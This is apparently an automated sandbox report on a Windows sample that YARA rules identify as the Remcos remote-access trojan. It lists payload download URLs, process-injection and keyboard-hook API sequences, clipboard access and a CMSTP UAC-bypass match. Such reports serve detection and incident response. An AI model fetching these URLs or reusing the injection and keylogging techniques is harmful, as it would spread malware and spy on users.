Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: SndVol.exe, colorcpl.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: SndVol.exe, 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, SndVol.exe, 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: jlPBMMQbXC.exe, Selebzih.PIF.7.dr	String found in binary or memory: http://hydros.8k.com
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: jlPBMMQbXC.exe, jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1638986421.000000007FB20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pmail.com
Source: jlPBMMQbXC.exe, 00000000.00000003.1491122017.00000000007FF000.00000004.00000020.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1575706420.00000000007CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfanar01-my.sharepoint.com/
Source: jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9F7000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000DA69000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://alfanar01-my.sharepoint.com/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlK
Source: jlPBMMQbXC.exe, 00000000.00000003.1491122017.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfanar01-my.sharepoint.com/personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1Z
Source: jlPBMMQbXC.exe, 00000000.00000002.1575706420.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1491122017.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfanar01-my.sharepoint.com:443/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQ
Source: jlPBMMQbXC.exe, 00000000.00000002.1575706420.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lightstone.ae/
Source: jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000DAA3000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000DA69000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lightstone.ae/image/233_Selebzihtih
Source: jlPBMMQbXC.exe, 00000000.00000002.1575706420.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lightstone.ae/image/233_Selebzihtihv
Source: jlPBMMQbXC.exe, 00000000.00000002.1575706420.0000000000802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lightstone.ae:443/image/233_SelebzihtihzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJ
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: jlPBMMQbXC.exe, 00000000.00000003.1491083792.000000000083E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spo.nel.measure.office.net/api/report?tenantId=91742063-fccc-4cba-b34b-69be54e484e8&desusert

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.139.102:443 -> 192.168.2.9:49746 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2913A2F3 SetWindowsHookExA 0000000D,2913A2DF,00000000

8_2_2913A2F3

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2914697B OpenClipboard,EmptyClipboard,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

8_2_2914697B

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291468FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	8_2_291468FC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	15_2_004168FC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077E7619 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,	15_2_077E7619

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2914697B OpenClipboard,EmptyClipboard,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

8_2_2914697B

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2913A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

8_2_2913A41B

Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2914CA73 SystemParametersInfoW,	8_2_2914CA73
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0041CA73 SystemParametersInfoW,	15_2_0041CA73
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077ED790 SystemParametersInfoW,	15_2_077ED790

System Summary

Malicious sample detected (through community Yara rule)

Source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Source: C:\Windows\SysWOW64\SndVol.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6B118 GetModuleHandleW,NtOpenProcess,IsBadReadPtr,IsBadReadPtr,GetModuleHandleW,NtCreateThreadEx,	0_2_02C6B118
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C67A2C NtAllocateVirtualMemory,	0_2_02C67A2C
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6DC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_02C6DC8C
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6DC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02C6DC04
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6DD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_02C6DD70
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C67D78 NtWriteVirtualMemory,	0_2_02C67D78
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C684C8 NtProtectVirtualMemory,	0_2_02C684C8
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C67A2A NtAllocateVirtualMemory,	0_2_02C67A2A
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6DBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02C6DBB0
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C68D6E GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02C68D6E
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C68D70 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02C68D70
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02ABB118 GetModuleHandleW,NtOpenProcess,IsBadReadPtr,IsBadReadPtr,GetModuleHandleW,	10_2_02ABB118
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02AB7D78 NtWriteVirtualMemory,	10_2_02AB7D78
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02ABDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	10_2_02ABDD70
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02ABDBB0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_02ABDBB0
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02ABDC8C RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,	10_2_02ABDC8C
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02ABDC04 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	10_2_02ABDC04
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02AB8D6E Toolhelp32ReadProcessMemory,Thread32Next,GetThreadContext,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Toolhelp32ReadProcessMemory,Heap32ListFirst,SetThreadContext,NtResumeThread,Thread32Next,	10_2_02AB8D6E
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: 10_2_02AB8D70 Toolhelp32ReadProcessMemory,Thread32Next,GetThreadContext,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Heap32Next,Toolhelp32ReadProcessMemory,Heap32ListFirst,SetThreadContext,NtResumeThread,Thread32Next,	10_2_02AB8D70
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077EE33D NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,	15_2_077EE33D

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C78128 CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

0_2_02C78128

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291467EF ExitWindowsEx,LoadLibraryA,GetProcAddress,	8_2_291467EF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,	15_2_004167EF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077E750C ExitWindowsEx,LoadLibraryA,GetProcAddress,	15_2_077E750C

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C520C4	0_2_02C520C4
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0445950D	8_2_0445950D
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_044546F4	8_2_044546F4
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0445869B	8_2_0445869B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0446E766	8_2_0446E766
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_044487F4	8_2_044487F4
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0445F068	8_2_0445F068
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_044740C8	8_2_044740C8
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0444814B	8_2_0444814B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0445F2C5	8_2_0445F2C5
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04458283	8_2_04458283
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04456C08	8_2_04456C08
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0445EC0A	8_2_0445EC0A
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04434D22	8_2_04434D22
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04457D87	8_2_04457D87
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0445EE39	8_2_0445EE39
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04474EF6	8_2_04474EF6
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0443FEA8	8_2_0443FEA8
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04458F05	8_2_04458F05
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04466F8D	8_2_04466F8D
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0444895D	8_2_0444895D
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0443E910	8_2_0443E910
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04458AD0	8_2_04458AD0
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04447BBC	8_2_04447BBC
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916797E	8_2_2916797E
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291639D7	8_2_291639D7
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2914DBF3	8_2_2914DBF3
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2917DA49	8_2_2917DA49
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29157AD7	8_2_29157AD7
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29167DB3	8_2_29167DB3
